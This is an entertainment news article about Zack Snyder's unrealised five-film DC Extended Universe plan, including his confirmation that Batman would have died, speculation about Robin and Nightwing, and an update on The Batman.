Twitter user Ramesh De Silva recently posted this image on Twitter, imagining what we might have seen if Zack Snyder’s original five-movie arc had played out in the DC Extended Universe as he imagined:

This was also posted to Vero, which is Zack Snyder’s social media outlet of choice, and the director actually saw this post and confirmed that he would have eventually ended up realizing this image on the big screen. Here’s a screenshot:

Zack Snyder Wanted to Kill Batman

Storyboard artist Jay Olivia described Zack Snyder’s five-movie vision for the DC Extended Universe as “epic, grand, emotional, joyful and unforgettable.” And killing The Dark Knight in a movie for the first time ever would have certainly helped accomplish that in some capacity. The question is how he would have done it and what ramifications it might have had on the future of the DCEU.

Originally, Justice League was intended to feature a crazed version of Superman for a much longer period of time than what we saw in the final cut. While Superman has a face off with the rest of the Justice League, Jay Olivia says some of the stuff he worked on had Superman “unhinged” and would have featured some “crazy stuff.” That’s where the black suit would have come into play, and perhaps that’s where the death of Batman would have been featured, leading into what Justice League: Part II would have been.

Considering the fact that Batman v Superman: Dawn of Justice sets up the idea that Dick Grayson was killed in action as Robin (something else Zack Snyder confirmed), there’s a chance that another version of Robin, perhaps Jason Todd, could have introduced the idea of Nightwing. After all, there’s a movie about Nightwing in the works already, and Zack Snyder might have been involved in that movie as a producer if Warner Bros. Pictures didn’t choose to sever ties with his overall vision.

Even as someone who didn’t enjoy Batman v Superman all that much, I must admit there’s a part of me that’s very curious about what Zack Snyder’s uncompromised version of the DC Extended Universe might have looked like. It would have been fascinating to see where he took these characters and what he brought to the big screen, even if it wasn’t necessarily something that I was on board with. But alas, the DC Extended Universe and DC Comics movies in general are going in a different direction.

In the meantime, The Batman is still in the works with Matt Reeves behind the camera and Ben Affleck apparently reprising the role of the Caped Crusader. The script for the noir-driven comic book movie has been turned in, and word on the street is the studio loves it. Will it actually go into production early next year as planned? Stay tuned.

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